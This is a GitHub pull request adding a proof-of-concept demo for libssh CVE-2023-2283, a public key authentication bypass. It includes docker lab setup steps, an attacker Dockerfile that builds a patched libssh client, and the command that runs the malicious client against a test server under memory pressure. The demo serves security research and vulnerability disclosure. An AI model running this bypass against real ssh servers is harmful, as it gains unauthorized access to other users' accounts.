10000 PoC for libssh CVE-2023-2283 by kevinbackhouse · Pull Request #763 · github/securitylab · GitHub
[go: up one dir, main page]

Skip to content

PoC for libssh CVE-2023-2283 #763

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
104 changes: 104 additions & 0 deletions SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
# Public key authentication bypass in libssh (CVE-2023-2283)

[CVE-2023-2283](https://securitylab.github.com/advisories/GHSL-2023-085_libssh/)
is an authentication bypass vulnerability in
[libssh](https://www.libssh.org/), which, under certain conditions, may
enable a remote attacker to gain unauthorized access to another user’s
account via ssh login.

This demo uses docker to simulate two computers, named "libssh-server"
and "libssh-attacker". On libssh-server, we run `ssh_server_pthread`,
which is a simple ssh server application that is [included as an
example](https://gitlab.com/libssh/libssh-mirror/-/blob/e8322817a9e5aaef0698d779ddd467a209a85d85/examples/ssh_server.c)
with the libssh source code. The server is configured to allow public
key authentication with an ED25519 key, but the attacker does not know the
private key. The attacker instead authenticates by triggering the vulnerability.

The vulnerability is triggered when `ssh_server_pthread` hits an
out-of-memory condition at precisely the right moment. If libssh is
running on a 64-bit server with plenty of RAM then it is very unlikely
that an attacker will be able to generate enough memory pressure to
cause an out-of-memory error, which means that the vulnerability is
unlikely to be exploitable. The goal of this demo is, instead, to show
that the vulnerability is exploitable if libssh is running in a
memory-constrained environment such as a [memory-constrained
container](https://docs.docker.com/config/containers/resource_constraints/),
which we believe is a realistic scenario for a real-life libssh deployment.
The demo uses `ulimit` to set a 256MB memory limit on the ssh server.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.18.0.0/16 libssh-demo-network
```

## Server setup

Build the docker image:

```
docker build server -t libssh-server --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network libssh-demo-network --ip=172.18.0.10 -it libssh-server
```

If you want to be able to debug the libssh server, then you need to start the container with some extra command line arguments:

```
docker run --rm --network libssh-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-server
```

Inside the container, run these commands to create ssh keys for the server:

```
mkdir ~/testkeys
ssh-keygen -P "" -t ecdsa -f ~/testkeys/id_ecdsa
ssh-keygen -P "" -t rsa -f ~/testkeys/id_rsa
```

Start the server:

```
ulimit -v 262144 # 256MB
~/libssh/build/examples/ssh_server_pthread -p 2022 -r ~/testkeys/id_rsa -e ~/testkeys/id_ecdsa -a ~/.ssh/authorized_keys 0.0.0.0
```

Note: ssh servers normally listen on port 22, but root privileges are required to listen on 22, so this demo uses port 2022 instead. Use `sudo` if you want to change the port number to 22. The `sudo` password in this docker container is "x".

## Attacker setup

Build the docker image:

```
docker build attacker -t libssh-attacker --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network libssh-demo-network --ip=172.18.0.11 -it libssh-attacker
```

If you want to be able to debug the client, then you need to start the container with some extra command line arguments:

```
docker run --rm --network libssh-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-attacker
```

The attacker uses a modified version of libssh. The modifications are in the file named `diff.txt` and are applied during the `docker build` step.

Run the malicious client like this:

```
~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub
```

The vulnerability is triggered when the ssh server has an out-of-memory error at the exact right moment, which means that the PoC is unreliable. It runs in a loop until it's successful, which can often take several minutes. You may also need to run several instance of the PoC simultaneously to generate enough memory pressure on the server. I suggest using `tmux` to open three terminals and start 3 instances of the PoC. When one of the PoCs succeeds, it creates a file named "success.txt", which notifies the other instances that they should stop.

Note: the PoC sometimes accidentally triggers a SIGSEGV in the server due to an unrelated [null-pointer dereference bug](https://gitlab.com/libssh/libssh-mirror/-/merge_requests/381). If this happens, you will need to restart the `ssh_server_pthread` process.
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
apt-get install -y \
sudo tmux emacs git gdb cmake build-essential net-tools psmisc \
libssl-dev zlib1g-dev libkrb5-dev libkrb5-dbg

ARG UID=1000

# Create a non-root user account to run libssh.
RUN adduser attacker --disabled-password --uid $UID

# Grant the 'attacker' user sudo access. This is not used for the demo,
# but it is often handy for installing extra packages.
RUN adduser attacker sudo
RUN echo "attacker:x" | chpasswd
COPY home/ /home/attacker/
RUN chown -R attacker:attacker /home/attacker

# Switch over to the 'attacker' user, since root access is no longer required
USER attacker
WORKDIR /home/attacker

# Clone and build libssh v0.10.4
RUN git clone https://git.libssh.org/projects/libssh.git && \
cd libssh && \
git checkout e8322817a9e5aaef0698d779ddd467a209a85d85 && \
git apply ~/diff.txt && \
mkdir build && cd build && \
cmake .. && \
make -j $(nproc)

USER attacker
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub
FB1F
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Enable 256 colors
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need this?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's not essential for the PoC, if that's what you mean! 🤣

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This .tmux.conf file is part of my debugging setup. Makes it slightly more pleasant to debug inside a docker container. There's quite a few other remnants of my debugging setup that I've not removed from this PoC. For example, it's still littered with my debug printfs. I decided to leave them in this time for that authentic feel. 🤣

set -g default-terminal "screen-256color"

# Enable using the mouse to switch windows.
set -g mouse on

# Don't lose track of SSH_AGENT etc. from parent environment.
set -g update-environment -r

# history buffer size
set-option -g history-limit 100000
Loading
0